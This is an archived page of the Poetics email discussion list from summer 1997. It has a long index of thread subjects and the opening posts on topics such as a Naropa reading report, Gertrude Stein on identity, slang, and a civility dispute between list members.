283. Pritchett,Pat — Re: Naropa readings
284. George Bowering — Re: The American poets of TIME
285. DS — Re: dear white male hegemonistic mysogynistsss
286. Kim Dawn — w h i t e m a l e b e a u t i e s
287. Stephen C. Ellwood — (no subject)
288. Thomas Bell — Remarkable Wildlife
289. Mark Weiss — Re: The American poets of TIME
290. Daniel Zimmerman — Re: The American poets of TIME
291. Dave Zauhar — Re: The American poets of TIME

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292. George Bowering — Re: dear white male hegemonistic mysogynistsss
293. Tom Orange — The American poets of TIME
294. Stephen C. Ellwood — Re: Platonic Lounge
295. Alan * Sondheim — Re: w h i t e m a l e b e a u t i e s
296. Alan * Sondheim — Slid-Jennifer
297. Layne Russell — poem
298. Layne Russell — sonoma county poets
299. Robert Archambeau — White Male Hegemonist Club
300. Mark Prejsnar — Re: List of Poetry Schools
301. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
302. Mark Prejsnar — Re: Langpo and the academy
303. David R. Israel — what she said (gratitudes & apologies)
304. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
305. Douglas Barbour — Re: Langpo and the ory
306. David R. Israel — instance of Ashbery
307. Aldon L. Nielsen — Re: Acadominatrix
308. Michael Magee — Re: instance of Ashbery/Nyer influence
309. Aldon L. Nielsen — Re: "LANPO"?
310. David Erben (Art) — Re: Langpo and the ory
311. Mark Weiss — Re: instance of Ashbery

312. Ryan Whyte — brood
313. Jacques Debrot — Re: Langpo and the academy
314. Robert Hale — Re: Acadominatrix
315. Mark Wallace — Hank Lazer's OPPOSING POETRIES and "academic ideas"
316. Alan * Sondheim — (no subject)
317. Pritchett,Pat — Re: Readings, Shmeadings
318. Matthias Regan — Re: Langpo and the ory
319. cris cheek — research / - neologism?
320. Pritchett,Pat — Re: instance of Ashbery
321. Aldon L. Nielsen — Re: New York events
322. Robert Kendall — Re: "Writing between the lines"
323. Joe Safdie — Re: The practical act
324. Joe Safdie — Re: Langpo and the academy
325. Robert Hale — FORGET ASHBURY/FORGET THE NEW YORKER
326. Bennett M. Sm [Dimpson — Re: Langpo and the ory
327. David R. Israel — the JD phenomenon
328. Mark Weiss — Re: instance of Ashbery
329. Poetics List — contemporary american poets (fwd)
330. Joseph Zitt — Re: instance of Ashbery
331. Stephen C. Ellwood — LOST DOGS
332. Mark Weiss — Re: instance of Ashbery
333. James Finnegan — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
334. Bob Grumman — Re: Schools of Poetry and Acadominance

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335. DS — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
336. John Tranter — The New Yorker and O'Hara
337. aerialedge — Re: Langpo and the academy
338. John Tranter — Langpo and Grammar, god help us!
339. Mark Prejsnar — Re: Langpo and the ory
340. Mark Prejsnar — Re: instance of Ashbery
341. Jordan Davis — the mooring (venison burgers)
342. Mark Prejsnar — Re: Acadominatrix
343. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
344. Bennett M. Sm [Dimpson — Cash Moves
345. dbkk — Re: instance of Ashbery
346. David R. Israel — after Ashbery
347. Jordan Davis — The language of influence
348. Fred Muratori — Re: The language of influence
349. Mark Weiss — Re: instance of Ashbery
350. Pritchett,Pat — Re: Last night at Naropa...
351. Pritchett,Pat — Re: instance of amnesia
352. Pritchett,Pat — Re: instance of Ashbery
353. Mark Weiss — Re: instance of Ashbery
354. Mark Prejsnar — Re: after Ashbery
355. Mark Prejsnar — Re: re - 'neologism'?
356. Jordan Davis — No New York
357. Franklin Bruno — acadominance & langpo
358. Franklin Bruno — ashbery/dewey
359. cris cheek — re - 'neologism'?
360. L. MacMahon and T.R. Healy — Re: re - 'neologism'?
361. Matthias Regan — Re: Langpo and the ory
362. Mark Weiss — Re: No New York
363. Mark Weiss — Re: ashbery/dewey
364. Bennett M. Sm [Dimpson — Delirious New York
365. Matthias Regan — found poem

366. Alan * Sondheim — Make Money Fast.
367. Joel Felix — Re: Delirious New York
368. David Bromige — Readings at Naropa/ dont forget to mention Ashbery
369. Maria Damon (Maria Damon) — Re: pain...
370. robert drake — Re: ashbery/dewey
371. Jacques Debrot — Re: acadominance & langpo
372. Thomas Bell — Re: re - 'neologism'?

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373. John Tranter — Ashbery facts
374. Schuchat Simon — Re: No New York
375. Mark Weiss — Re: No New York
376. rsillima — APR, Poultry, etc.
377. cris cheek — Re: re - 'neologism'?
378. aerialedge — Re: The language of influence
379. Steve Shoemaker — Re: The language of influence
380. Aldon L. Nielsen — Re: The Gizmo of Class
381. Aldon L. Nielsen — sciencemeisters dis week at cine16 (fwd)
382. Thomas Bell — neologism/Graham
383. Tom Orange — langpo, what next
384. Mark Weiss — Re: acadominance & langpo
385. Alan * Sondheim — Explanation, Final, Theory/Writing
386. Jacques Debrot — Re: The language of influence
387. cris cheek — Re: neologism/Graham
388. Jacques Debrot — Re: acadominance & langpo
389. Thomas Bell — neologism on Unimaginable Wildlife
390. Mark Weiss — Re: acadominance & langpo
391. Mark Weiss — Re: acadominance & langpo
392. Mark Weiss — Re: acadominance & langpo
393. Daniel Zimmerman — Re: american language

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394. Peter Ganick — call for submissions------
395. Rebecca Weldon — Inner Poetics
396. rsillima — The New Sentence
397. Tom Orange — langpo innovations / ashbery
398. David R. Israel — LangPo = LangPo
399. Franklin Bruno — (no subject)
400. aerialedge — Re: The language of influence
401. aerialedge — exceptions
402. Mark Weiss — Re: exceptions
403. George Bowering — Re: exceptions
404. George Bowering — Re: Granby, Mon Amour
405. Mark Weiss — Re: Granby, Mon Amour
406. Rachel Loden — Re: Granby, Mon Amour
407. Bennett M. Sm [Dimpson — Re: exceptions
408. Alan J Sondheim — clearly unsustainable."
409. Eliza McGrand- CVA Guest — Re: Granby, Mon Amour

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410. Karen and Trevor — call for submissions
411. Mark Weiss — (no subject)
412. John Tranter — Vogelsang and Ern Malley
413. John Tranter — John, Frank and Wystan.
414. George Bowering — Re: Granby, Mon Amour
415. George Bowering — Re: Granby, Mon Amour
416. Mark Prejsnar — Re: acadominance & langpo

417. Mark Prejsnar — Re: John, Frank and Wystan.
418. Aldon L. Nielsen — Re: John, Frank and Wystan.
419. Pritchett,Pat — Re: Readings at Naropa/ dont forget to m
420. Maria Damon — Re: Granby, Mon Amour
421. Mark Wallace — feeling "dumbed down"
422. George Bowering — Re: Granby, Mon Amour
423. Joe Safdie — Re: The language of influence
424. David Israel — Re: The language of influence
425. Bob Grumman — Re: Acadominance; also an Announcement
426. Kali Tal — Re: The language of influence
427. David Bromige — Burnaby Mon Amour
428. Steven Marks — Re: The language of influence
429. Alan J Sondheim — Re: The language of influence

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430. James Finnegan — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
431. Dean Taciuch — Re: The language of influence
432. aerialedge — Re: The language of influence
433. Miekal And — the internalational dictionary of neologisms
434. rsillima — Brecht
435. Kim Dawn — influential writers/fiction
436. Kali Tal — Re: influential writers/fiction/comedians
437. Sherry Brennan — Central Pennsylvania poetry reading
438. Bob Grumman — The Real Story
439. Maria Damon — Re: The language of influence
440. Gwyn McVay — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
441. Pritchett,Pat — Re: The language of influence
442. Mark Weiss — Neologism
443. Rachel Loden — Profumo Mon Amour
444. David R. Israel — Re: Neologism / (gravy trail)
445. Jordan Davis — Re: influential writers/fiction/comedians
446. Bennett M. Sm [Dimpson — Re: influential writers/fiction
447. Daniel Bouchard — Re: influential writers/fiction/comedians
448. Mark Weiss — Re: Neologism / (gravy trail)
449. David Bromige — brecht/poetry/sf/'74
450. David Bromige — I misaddressed the initial posting of this, and it hasnt turned up in my "i…
451. David Israel — & from the dudes
452. George Bowering — Re: infloo
453. Mary Burger — San Francisco Reading
454. Steven Marks — Re: influential writers/fiction/comedians
455. Alan J Sondheim — Re: influential writers/fiction/comedians
456. David Israel — what about Reno?
457. George Bowering — Re: The language of influence
458. George Bowering — Re: influential writers/fiction/comedians
459. Maria Damon — Re: influential writers/fiction/comedians
460. Maria Damon — Re: influential writers/fiction/comedians
461. Maria Damon — Re: what about Reno?
462. Dean Taciuch — Re: influential writers/fiction/comedians
463. Mark Weiss — Re: influential writers/fiction/comedians
464. Mark Weiss — Inspiring comedians
465. Pritchett,Pat — Re: what about Rickles?
466. David Israel — Re: Inspiring comedians
467. George Thompson — Re: influential writers/fiction/comedians
468. Mark Weiss — (no subject)
469. George Thompson — Re: religious poetry
470. Shaunanne Tangney — Re: Inspiring comedians

471. Jordan Davis — Re: influential ... comedians / more urban boosterism
472. Layne Russell — Re: Inspiring comedians
473. Layne Russell — Re: Notable Omission/comedians
474. Layne Russell — Re: influential writers
475. Maria Damon — Re: what about Rickles?
476. Maria Damon — Re: what about Rickles?
477. Maria Damon — Re: influential ... comedians / more urban boosterism
478. Alan J Sondheim — HANGMAN: STOP HER!!! (fwd)

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479. Wendy Battin — Re: influential writers/fiction/comedians
480. Dan Raphael Dlugonski — influential writers
481. Bennett M. Sm [Dimpson — Re: influential writers/fiction/comedians
482. Bennett M. Sm [Dimpson — Re: influential writers
483. David Bromige — Notable Omission/comedians
484. Bennett M. Sm [Dimpson — Re: Notable Omission/comedians
485. George Bowering — Re: Inspiration
486. Hugh Steinberg — Re: influential writers
487. Schuchat Simon — Re: Inspiration
488. rsillima — organizing academics
489. rsillima — Influences
490. David Israel — Re: influential writers
491. Layne Russell — Re: Inspiration
492. Susan Wheeler — Re: POETICS Digest - 14 Jul 1997 to 15 Jul 1997
493. Michael Magee — Re: influential writers/fiction/comedians
494. Rachel Loden — Re: Influences
495. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
496. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
497. Maria Damon — Re: Inspiration
498. Rachel Loden — tummlers
499. Douglas — New S&M books
500. dbkk — Re: tummlers
501. James Finnegan — Re: Bronk v. Ashbery
502. GrahamD — Re: influential writers
503. Douglas Barbour — Re: influences in prose & comedy?
504. George Thompson — Re: influences: a revision
505. LYNES- KATHERINE — Re: influential writers/comedians
506. Jordan Davis — Re: influential writers
507. David R. Israel — Re: influential writers / the Strand strand
508. Matthias Regan — Re: influential writers/fiction/comedians
509. Matthias Regan — Re: tummlers
510. Michael Magee — Stein & Gold
511. H Gould — Re: influential writers/fiction/comedians
512. dbkk — Re: influential writers
513. Jordan Davis — jokey and funny
514. Jordan Davis — Re: jokey and funny
515. Carl Lynden Peters — Re: Inspiration
516. Mark Weiss — Re: influential writers
517. Mark Weiss — Re: Bronk v. Ashbery
518. william marsh — Re: influential writers/fiction/comedians/poet-comedians
519. Robert Hale — WATTEN
520. David Israel — Re: influential writers/fiction/comedians/poet-comedians
521. groberts — novelists and comics
522. Maria Damon — Re: jokey and funny
523. Gwyn McVay — Grolier Bookstore Emergency (fwd)
524. Mark Weiss — Re: jokey and funny

525. Susan Schultz — Re: Bronk v. Ashbery
526. Robert Hale — Re: influential writers/fiction/comedians/poet-comedians
527. David Bromige — humorists
528. Steven Marks — Re: jokey and funny
529. Matthias Regan — Re: jokey and funny
530. Thomas Bell — (no subject)
531. Michael Magee — Re: influential writers/fiction/comedians/poet-comedians
532. Pritchett,Pat — Re: influential ... comedians / more urb
533. Pritchett,Pat — Re: Influences
534. Pritchett,Pat — Re: influential writers/fiction/comedian
535. Dave Zauhar — Re: tummlers
536. Robert Drake — Virtual Anthology: announce & invite
537. DS — Re: influences in prose & comedy?
538. marott — Where are we in all this?
539. Burt Kimmelman — Re: Bronk v. Ashbery
540. Burt Kimmelman — Re: Bronk v. Ashbery

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541. Alan J Sondheim — Fragments of Colonization (fwd)
542. George Bowering — Re: influential writers / the Strand strand
543. George Bowering — Re: influential writers/fiction/comedians/poet-comedians
544. Schuchat Simon — Re: New S&M books
545. joel lewis — comedians
546. Jill A Mccartney — Re: stein and gold
547. Maria Damon — Re: jokey and funny
548. Bennett M. Sm [Dimpson — Dennis Cooper
549. Steve Shoemaker — Re: influential ... comedians / more urban boosterism
550. Daniel Bouchard — Re: Influences
551. Mark Wallace — What comes next?
552. Mark Wallace — Situation #15
553. Joel Felix — New LVNG Supplemental
554. Christopher Alexander — senate poll re grad taxation
555. p. durgin — Re: influential writers/fiction/comedians/poet-comedians
556. George Bowering — Re: influences in prose & comedy?
557. Rachel Loden — pre-guillotine lament
558. David Israel — Tate's laughter / Twain's humor
559. Steve Shoemaker — Re: influences in prose & comedy?
560. Steve Shoemaker — Re: pre-guillotine lament
561. Alan J Sondheim — ThEjPrIncEjofjthieves (fwd)

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562. Ward Tietz — Re: What comes next?
563. henry gould — Re: What comes next?
564. Maria Damon — Re: tummlers
565. Daniel Bouchard — Re: humorists
566. Maria Damon — Re: pre-guillotine lament
567. Maria Damon — Re: stein and gold
568. Michael Magee — Re: Tate's laughter / Twain's humor
569. henry g — Re: humorists
570. Pritchett,Pat — Re: poem sighting
571. GrahamD — Re: Frost
572. Eliza McGrand- CVA Guest — twain -- first deconstructionist?
573. STACIE ELYSE SLOTNICK — poetry/comedy/tv
574. dbkk — Re: New LVNG Supplemental
575. Shaunanne Tangney — Re: Tate's laughter / Twain's humor
576. Maria Damon — Re: Tate's laughter / Twain's humor
577. David R. Israel — Re: humorists / categorists

578. GrahamD — Re: humorists / categorists
579. Christopher Alexander — (Fwd) anxiety of influence/news from old eire (from new york)
580. Christopher Alexander — Re: Tate's laughter / Twain's humor
581. groberts — morbid thoughts
582. dbkk — Re: twain -- first deconstructionist?
583. Bennett M. Sm [Dimpson — Re: Tate's laughter / Twain's humor
584. Christopher Alexander — Re: twain -- first deconstructionist?
585. Michael Magee — Re: Tate's laughter / Twain's humor
586. GRAHAM W. FOUST — Roth bother
587. Christopher Alexander — Re: Roth bother
588. Miekal And — Re: Virtual Anthology: announce & invite
589. Mark Weiss — Humorist/poets
590. Pritchett,Pat — Re: What comes next?
591. George Bowering — Re: pre-guillotine lament
592. Robert Hale — Re: What comes next?
593. Joe Safdie — Prizes
594. Christopher Reiner — Re: What comes next?
595. David Israel — Bukowski & the Tribe (a tale of ancestors)
596. Pritchett,Pat — Re: Prizes
597. David Israel — Re: Prizes
598. Christopher Reiner — Re: what comes next
599. George Bowering — Re: humorists / categorists
600. George Bowering — Re: sequels, etc.

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601. Steve Shoemaker — Re: pre-guillotine lament
602. David R. Israel — Re: humorists / categorists
603. L.MacMahon and T.R.Healy — similes
604. David R. Israel — Re: similes
605. dbkk — Re: Prizes
606. Bob Grumman — The Juxtaphor
607. aerialedge — Aerial
608. Alan J Sondheim — (no subject)
609. GrahamD — Rbt Duncan
610. Matthew Howard — Yasusada, again
611. Stephen C. Ellwood — Words which make People Garbage.
612. Lawrence Upton — Re: What comes next?
613. Mark Weiss — Re: Words which make People Garbage.
614. Herb Levy — Upcoming Subtext Readings & recent Seattle publications
615. Maria Damon — Re: Words which make People Garbage.
616. Eliza McGrand- CVA Guest — Re: Words which make People Garbage.
617. dbkk — Re: Words which make People Garbage.
618. David R. Israel — performance poetries
619. robert drake — Re: Upcoming Subtext Readings & recent Seattle publications
620. Carl Lynden Peters — Re: Words which make People Garbage.
621. Hugh Steinberg — Re: What comes next?
622. charles alexander — Re: What comes next?
623. Lawrence Upton — Re: What comes next?
624. Lawrence Upton — performance poetries
625. Schuchat Simon — Re: Words which make People Garbage.
626. dbkk — Poets House

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627. David R. Israel — Re: Poets House
628. Dan Raphael Dlugonski — performance poetries
629. Ken Edwards — performance poetries
630. Maria Damon — Re: What comes next?

631. Kim Dawn — (no subject)
632. David Bromige — Poets House
633. Michael Heller — Poets House
634. charles alexander — Re: Poets House
635. Carl Lynden Peters — Re: What comes next?
636. p. durgin — Re: poetry/comedy/tv
637. p. durgin — Re: Words which make People Garbage.
638. Julie Marie Schmid — Re: What comes next?
639. Steven Marks — Re: Poets House
640. Joe Amato/Kass Fleisher — Re: What comes next?
641. David Bromige — the tale of a toilet paper roll
642. Joseph Zitt — Re: What comes next?
643. Alan J Sondheim — (no subject)
644. Stephen C. Ellwood — Re: Words which make People Garbage.
645. Layne Russell — Sonoma County events
646. Mark Weiss — Re: Words which make People Garbage.
647. Eliza McGrand- CVA Guest — Re: Words which make People Garbage.
648. dbkk — Re: Words which make People Garbage.

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649. DS — Re: Words which make Herr Garbage.
650. Stephen C. Ellwood — Re: Words which make People Garbage.
651. Stephen C. Ellwood — Re: Words which make People Garbage.
652. dbkk — Re: Words which make People Garbage.
653. dbkk — Re: Words which make Herr Garbage.
654. Herb Levy — Re: Upcoming Subtext Readings & recent Seattle publications
655. Lawrence Upton — Re: What comes next?
656. Mark Prejsnar — Re: Where are we in all this?
657. Mark Prejsnar — Re: Prizes
658. Maria Damon — Re: Words which make People Garbage.
659. Maria Damon — Re: Words which make Herr Garbage.
660. James Finnegan — Re: Poets House w/Address
661. John Kinsella — Salt
662. Joe Amato/Kass Fleisher — Re: What comes next?
663. John Kinsella — What's in a poem? Cross-posting 2
664. Douglas Barbour — Re: performance poetry?
665. James Finnegan — Re: acronymically-challenged
666. Rachel Loden — Silliman on Stein & Gold
667. henry g — Re: Where are we in all this?
668. Michael Heller — Poets House
669. Bennett M. Sm [Dimpson — Chafe or Lube?
670. Jordan Davis — Words which push my buttons, golly
671. Mark Weiss — Re: Words which make People Garbage.
672. p. durgin — Re: Words which make People Garbage.
673. Maria Damon — Re: Words which push my buttons, golly
674. dbkk — fuel for the fire
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680. George Bowering — Re: Words which make Herr Garbage.
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790. George Bowering — Re: dog days
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836. George Bowering — Re: hot dogs I have known
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838. robert drake — Re: What came before?a Martian poetics 1916/Performance Poetry
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842. Hugh Steinberg — (no subject)
843. Hugh Steinberg — Re: Mike Gold/katherine anne porter
844. Christina Fairbank Chirot — Re: performance poetry?
845. Christopher Alexander — Relics Serve As Youse Mouth Are Able

846. Jordan Davis — deipno / diotima
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850. Christopher Alexander — Relics Serve... (apologistic mix)
851. David Bromige — mark wallace/mark weiss/held list?
852. simon — Re: dog days
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854. simon — Re: hot dog
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856. Mark Weiss — Re: Mike Gold/katherine anne porter
857. Aldon L. Nielsen — Re: is "doo wop" an ethnic slur?
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872. David R. Israel — Re: russian river writers / Yvonne Rainer . . .

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873. David R. Israel — wapperjar and bumfuzzled
874. shemurph — Sad News - Gerald Burns
875. Mark Weiss — Re: wapperjar and bumfuzzled
876. Rebecca Weldon — Re: Thai influences
877. Joe Amato/Kass Fleisher — address query...
878. rsillima — Doggie Diner, Curtis Faville
879. Aldon L. Nielsen — Re: dog days
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888. Layne Russell — Re: russian river writers / Yvonne Rainer . . .

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890. Daniel Bouchard — execution/myth and poetry
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894. dbkk — Re: execution/myth and poetry
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896. David Israel — Re: Sacco & Vanzetti

897. simon — Re: Doggie Diner, Curtis Faville
898. Don Cheney — bumpersticker
899. william marsh — bumpersticker / m/eat
900. Mark Weiss — Re: Sacco & Vanzetti
901. David Israel — (no subject)
902. Don Cheney — Re: THE THING
903. David Israel — Re: THE THING

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904. L.MacMahon and T.R.Healy — aliens landing
905. Layne Russell — Re: Yvonne Rainer . . .
906. L.MacMahon and T.R.Healy — body dance
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909. David Kellogg — back after breather: still looking for Erica Hunt
910. henry g — Re: elaborating multiples
911. Gwyn McVay — Re: back after breather: still looking for Erica Hunt
912. David Israel — Re: elaborating multiples

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913. Alan J Sondheim — Stentar Caeruleus (fwd)
914. Lawrence Upton — UK reading
915. Lawrence Upton — Quantity & Quality
916. Henry — Re: elaborating multiples
917. henry gould — Re: email address
918. John Kinsella — Quantity & Quality
919. Christopher Alexander — Tax Bill Details
920. Burt Kimmelman — Re: email address
921. dbkk — Anne-Marie Albiach tribute at SPT
922. John Kinsella — email address
923. p. durgin — Campus by night
924. Stephen C. Ellwood — You have no hearts,
925. John Kinsella — Re: email address

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926. lee ann brown — Re: NYC Sublet/Share
927. Hugh Steinberg — Re: Quantity & Quality
928. Charles Alexander — Re: Quantity & Quality
929. Joel Felix — John Taggart Reading Chicago
930. dbkk — Re: Quantity & Quality
931. Gwyn McVay — Overglossing a reading--was Re: Quantity & Quality
932. Don Cheney — Crankiness: Quantity & Quality
933. Maria Damon — Re: Overglossing a reading--was Re: Quantity & Quality
934. simon — help with G. Spivak
935. Judy Roitman — Re: Quality & Quantity
936. Rachel Kubie — Quality & Quantity
937. henry — Re: Quality & Quantity
938. Christopher Alexander — Re: Quality & Quantity
939. James Finnegan — Re: Crankiness: Quantity & Quality
940. Lawrence Upton — Re: Quantity & Quality
941. Susan Landers — contact requests
942. Don Cheney — san diego only

1. KENT JOHNSON
la confusion de Bouchard
Mon 30 Jun 1997

Folks:

Told everyone I was leaving for a while, but still here. I sent in my "unsub" command, received the confirmation that I was "now removed," and came up today to find about ninety messages! Now I'm told by Poetics that I'm subscribed under a "different address" through my server. It is sure difficult to free oneself from the pull of this list.

But among those many messages I wasn't expecting to find is one by Dan Bouchard, wherein the claim is made that I was playing a "self-promotional card" by forwarding a "private letter" from Eliot Weinberger to two lists where there was much discussion about the Beneath a Single Moon anthology. I and "others" only prove the point, Daniel adds with intended irony and in paraphrase of EW, that "the Left historically bickers ad nauseum while the Right triumphs."

Well, how could I not re-sub, if only for today, to offer one last bickering reply?

So now geez, Dan, and c'mon. Why in such a political pucker? Weinberger, in generous spirit, sent the letter with a note inviting me to send it on, if I wished, to both Poetics and CAP-l. He sent the post and offered permission to forward it without my even asking, and I did so because his points were typically interesting and very relevant to the ongoing discussion. Others later wrote in that they appreciated his remarks, and I received a few back-channel notes thanking me for the forward. Therefore, hey, tranquilo, camarada.

Still, that's just to clarify this particular instance, not to say that I'm beyond being self-promoting and self-serving! And when I come back, you can all bet that I'll be sending in as many self-serving posts as I can muster. That is, if my "address-switching" server is serving my self as it should be.

Patria libre o morir,
Kent

↑ Index

2. KENT JOHNSON
yet more orientalism
Mon 30 Jun 1997

"I will purify my ears"
--Han Shan, circa 8th century

"I will purify my ears"
--Evander Hollyfield, June 30, 1997

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3. Steve Shoemaker
Re: american language
Mon 30 Jun 1997

Eliza--I think we shld plot our own Chartreuse Party revolution and just TAKE THE WORDD AWAY from those yellow-green folks! Monks, shmonks! It just *sounds* red dammit...

And i can't believe nobody else has weighed in w/ some choice vernacular about being toasty, fried, hammered, looped, blotto, blitzed, burnt, blind, slammed, whacked, sloshed, gone, spaced, or bombed.

testy in charleston, steve

↑ Index

4. Pritchett,Pat
Re: Killian at the Big Top
Mon 30 Jun 1997

(NB - for any of you who are bored or annoyed with my reading reports from Naropa, I can only say - I'm beginning to feel the same way too! This will probably be the last...)

Last Saturday under the Naropa Big Top poet/playwright/impresario extraordinaire Kevin Killian presented his workshop class production of "Daily Life: The Crime of the Century." This was my first experience of contemporary innovative poetic drama and I found it thoroughly delightful. I fear the spirit of the play and its general air of festive hilarity, vocal innovation and poetic ingenuity won't translate into a thumbnail post. All I can say is: you should been here!

Though largely episodic in nature, the play's main storyline revolved around an alleged poetry attack - by a man or a woman ("there's no gender parity among the poetry deprived") - who broke into a Boulder home to interrupt a man watching the "blue light of TV" by reciting poetry. "Boulder - such a quiet town. I never thought anything like p o e t r y could happen to me!" But, as one character observed: "we're all characters in a strange police drama." The clever and _very funny_ blend of Ramsey case parody and poetic riffing/hijinks made for an hour and a half of enthralled bemusement and hearty laughter.

A few random lines from no scenes in particular:

"Alas, in Hell we're outside the juridical belt of TV or even Kodak."

"What is that specious quality that makes us locate yesterday just around the corner?"

"Meaning is one slippery motherfucker - either way someone gets hurt."

Kevin appeared for the finale with chorus, produced a silk scarf from his pocket, and launched into a bang-on version of Anne Waldman complete with gesticulating flourishes. Kudos to the maestro and his wonderful cast and crew.

(exuent.

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5. john chris jones

Poems, identities and anthologies

Mon 30 Jun 1997

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to Karlein van den Beukel and everyone,

Thank you for your posting re flowers. To me your letter felt poetic (rather than hectic?) and more like what I hope to find in this correspondence. More of 'human mind' rather than 'human nature' (in Gertrude Stein's use of these terms).

I'm surprised that those who are arguing about identity seem to ignore her saying that only while she let go of her identity 'as my little dog knows me' could she write what she wrote (for that is how masterpieces are written).

But I prefer not to make that distinction between the writer and the writing and like to see biographical and factual information becoming parts of the work (types jones, remembering that this and all postings are parts of the cyberepic?)

I've not read Zukovsky's poems but am inspired to do so now.

greetings and thanks

jcj

In case you or others do not know them Gertrude Stein's remarks about identity and 'human mind' and 'human nature' are in 'What are masterpieces and why are there so few of them?' (in 'Look at me now and here I am'), in 'The geographical history of America', and also elsewhere in her writings.

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6. David Bromige

misattributions in the poet/identity debate

Mon 30 Jun 1997

Fellow-listlings, yesterday, bowering then tal following bowering, discussed one of "my" sentences that in fact, as he posted to point out, had been from mark

weiss; today, henry attributes to me the origin of the masturbatory metaphor, whereas in fact I was picking it up from tal's response to my original conjecture re construction of poet i.d. For those of you who still find, under the conditions of its being waged, this conversation interesting, would you be careful enough to read back thru the posts? Thanks, David B

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7. David Bromige

poetic/identities/by their works shall ye know them/kali's e-ddress

Mon 30 Jun 1997

Kali, I suppose the confusion in Mr.Bowering's mind is due to yr e-ddress having "Yale" in it. DB

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8. henry g

Re: identity/poetics

Mon 30 Jun 1997

Both Kim Dawn & David Bromige responded with playful "ad hominem" sexual innuendo. That's the common denominator. Most on the list probably don't remember the exact occasion anyway & it's a useless spent debate but I thought I'd try to have the last word anyway hah hah...

Pre-Hitler & Hitler Germany, what do I know, I don't have a background in it, but my take on it is that one was expression and one was repression but that for both it was a "topic". Sexuality as topic produces a lot of books now, that's the similarity I see; as if words & theories will provide a relief from actuality, or a countering. I understand it's a fruitful area for speculation. Dante thought about it too, didn't he? Words are offered up to Venus Genetrix & Beatrice. But I guess Dante recognized his poetry was an image of reality, not a prescription. That's why he ended in baby talk.

I'm trying to shock without offending, but that's impossible either way.

There is no common audience because speaking for the U.S. the nation has experienced cultural divide (a learning process) since the end of WW 2. I'm not saying the divisions weren't there before in actuality - I mean specifically CULTURAL divide. Discontinuity comes home, the chickens, Reagan's thespian chickens, come home to roost. & poets talk to each other about their differences instead of composing correlations for an audience. This is the list speaking, nor of one man. Sigismundo Fascismo fecit, sleep tight verbo-hobos...continuity...blah blah... - henry el Gouldo

↑ Index

9. Alan * Sondheim
(no subject)
Mon 30 Jun 1997

Turmmrrmmnrmm trmmormmwrmmarmmrrmmdrmmsrmm srmmurmmnrmm wrmmhrmmirmmrrmmrrmm, trmmhrmmrrmmurmmmrmmmrmm trmmormmwrmmarmmrrmmdrmmsrmm frmmlrmmermmsrmmhrmm armmnrmmdrmm srmmprmmirmmrrmmirmmtrmm brmmormmnrmmermm rrmmormmarmmrrmm, trmmhrmmrrmmurmmsrmmtrmm hrmmormmmrmmermm wrmmhrmmirmmrrmmlrmm, trmmurmmrrmmnrmm trmmormmrrmmwrmmarmmrrmmdrmmsrmm hrmmurmmmrmm rrmmormmarmmrrmm, trmmhrmmrrmmormmwrmm trmmormmwrmmarmmrrmmdrmmsrmm srmmprmmirmmrrmmirmmtrmm rrmmormmarmmrrmm, trmmhrmmrrmmormmarmmtrmm trmmormmwrmmarmmrrmmdrmmsrmm hrmmormmmrmmermm rrmmormmarmmrrmm trmmhrmmrrmmurmmsrmmtrmm trmmhrmmrrmmormmurmmgrmmhrmm @hrmmormmmrmmermm trmmhrmmrrmmurmmsrmmtrmm trmmormmwrmmarmmrrmmdrmmsrmm @frmmlrmmermmsrmmhrmm srmmurmmnrmm trmmhrmmrrmmormmurmmgrmmhrmm @srmmprmmirmmrrmmirmmtrmm-brmmormmnrmmermm, frmmlrmmermmsrmmhrmm trmmhrmmrrmmormmurmmgrmmhrmm @srmmurmmnrmm-rrmmormmarmmrrmm

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10. John Tranter
Literary Coprophilia
Tue 1 Jul 1997

Donne may have been first, but Alexander Pope also ate at the trough of anger:

"Now wits gain praise, for copying other wits,
As one hog lives off what another shits."

» » » » » » » » » » » [redacted] » » » » » »

John Tranter, 39 Short Street, Balmain NSW 2041, Australia
Phone Sydney ([redacted] FAX ([redacted]

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11. John Tranter
Australian language
Tue 1 Jul 1997

A couple of kangaroos short of a paddock.

And Barry Mackenzie (one stage persona of Barry Humphries, another one being Dame Edna Everidge...) when leaving the room to urinate, is inclined to say ...

"...think I'll just go and point Percy at the porcelain."

» » » » » » » » » » » [redacted] » » » » » »

John Tranter, 39 Short Street, Balmain NSW 2041, Australia
Phone Sydney ([redacted] FAX ([redacted]

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12. Ryan Whyte
5 Poems About 4 Films
Tue 1 Jul 1997

Dear list members,

Please check out these poems of mine at

http://www.freenet.edmonton.ab.ca/~rwhyte/5poems.html

Comments are, of course, welcome.

Thanks!

Ryan Whyte

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[redacted]

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13. George Bowering
Re: Poems/Identities
Tue 1 Jul 1997

Dr. Tal--

Now, this is interesting. I guess we live in really different countries, or worlds or something.
You said:

> *I experienced your decision to label me "Ms." in your previous post as both distancing and patronizing.*

Now, why would that be? As far as I recall, I was not doing any labelling. I was not labelling, but addressing, in a fashion that, in my country, shows respect for an often-stated desire by women (I hope that word is okay; it is a good word up here) not to be a "Mr' with an "s" added, and not to be "Miss." It is definitely not patronizing, but quite the opposite here. On the other hand, as I said earlier, to use "Dr." is usually meant to be distancing, and often sarcastic. But as you don't use it that way there, I feel that it is all right (though it still makes me uncomfortable) to address you that way.

> *("Ms." is used snidely as often as it is used respectfully)*

Again, I am not familiar with that usage. Perhaps it is a regional thing.

> *Two rules of civility I try always to observe: don't*
> *call people outta their names; don't insult their parents.*

This sounds interesting. I dont understand the expression. Well, I live on the west coast of Canada, and you live somewhere in the US. I feel as if I _sort of_ get it, but would really like to get it right.

> *The "Ivy League" presumption is, in fact, hilarious.*

I didnt mean to be presuming. I thought I was just asking. I cant figure out what I did to get called names so much.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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14. Tom Orange
identity and list capital (long)
Tue 1 Jul 1997

